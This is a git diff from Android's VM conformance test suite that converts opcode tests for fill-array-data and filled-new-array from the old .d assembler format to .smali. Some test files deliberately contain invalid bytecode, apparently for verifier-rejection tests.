diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d
deleted file mode 100644
index 0a5e008..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_fill_array_data_9.java
-.class public dot.junit.opcodes.fill_array_data.d.T_fill_array_data_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([I)V
-.limit regs 10
-    
-    fill-array-data v9 I
-        1
-        2
-        3
-        4
-        5
-    fill-array-data-end
-    
-    
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.smali
new file mode 100644
index 0000000..8d6d5e9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/fill_array_data/d/T_fill_array_data_9.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/fill_array_data/d/T_fill_array_data_9;
+.super Ljava/lang/Object;
+.source "T_fill_array_data_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run([I)V
+    .registers 10
+
+    fill-array-data p1, :array_4
+
+    return-void
+
+    :array_4
+    .array-data 4
+        0x1
+        0x2
+        0x3
+        0x4
+        0x5
+    .end array-data
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.d
deleted file mode 100644
index 0c195eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_1.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali
new file mode 100644
index 0000000..43b96f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_1.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.d
deleted file mode 100644
index ccfc7d6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_10.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array {v9}, [Ljava/lang/StringNNNNN;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali
new file mode 100644
index 0000000..76e5df6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_10.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_10.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array {v9}, [Ljava/lang/StringNNNNN;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.d
deleted file mode 100644
index dca1ca3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_11.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run()[Ljava/lang/Object;
-.limit regs 10
-    const v9, 0
-    filled-new-array {v9}, [Ldot/junit/opcodes/filled_new_array/TestStubs;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali
new file mode 100644
index 0000000..15be0bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_11.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run()[Ljava/lang/Object;
+.registers 10
+    const v9, 0
+    filled-new-array {v9}, [Ldot/junit/opcodes/filled_new_array/TestStubs;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.d
deleted file mode 100644
index 532158e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_2.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array {v8, v9}, [Ljava/lang/Object;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali
new file mode 100644
index 0000000..40fe3cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_2.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array {v8, v9}, [Ljava/lang/Object;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.d
deleted file mode 100644
index 69d1f79..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_3.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali
new file mode 100644
index 0000000..a8618fe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_3.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.d
deleted file mode 100644
index ac6b1b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_4.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v10}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali
new file mode 100644
index 0000000..d79a723
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_4.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v10}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.d
deleted file mode 100644
index c2702a4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_5.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v4}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali
new file mode 100644
index 0000000..240adab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_5.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v4}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.d
deleted file mode 100644
index 6be462d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_6.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIIJ)V
-.limit regs 11
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali
new file mode 100644
index 0000000..c7530f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_6.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIIJ)V
+.registers 11
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.d
deleted file mode 100644
index 129a800..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_7.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali
new file mode 100644
index 0000000..fcaaa88
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_7.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.d
deleted file mode 100644
index 951e06a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_8.java
-.class public dot.junit.opcodes.filled_new_array.d.T_filled_new_array_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 10
-
-       invoke-direct {v9}, java/lang/Object/<init>()V
-       
-       const v5, 0
-       const v6, 0
-       const v7, 0
-       const v8, 0
-       const v9, 0
-       filled-new-array {v5, v6, v7, v8, v9}, [I
-       move-result-object v0
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array {v5, v6, v7, v8, v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali
new file mode 100644
index 0000000..c556ca7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_8.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_8.java"
+.class  public Ldot/junit/opcodes/filled_new_array/d/T_filled_new_array_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 10
+
+       invoke-direct {v9}, Ljava/lang/Object;-><init>()V
+       
+       const v5, 0
+       const v6, 0
+       const v7, 0
+       const v8, 0
+       const v9, 0
+       filled-new-array {v5, v6, v7, v8, v9}, [I
+       move-result-object v0
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array {v5, v6, v7, v8, v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.d
deleted file mode 100644
index c7ba0ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array/d/T_filled_new_array_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_9.java
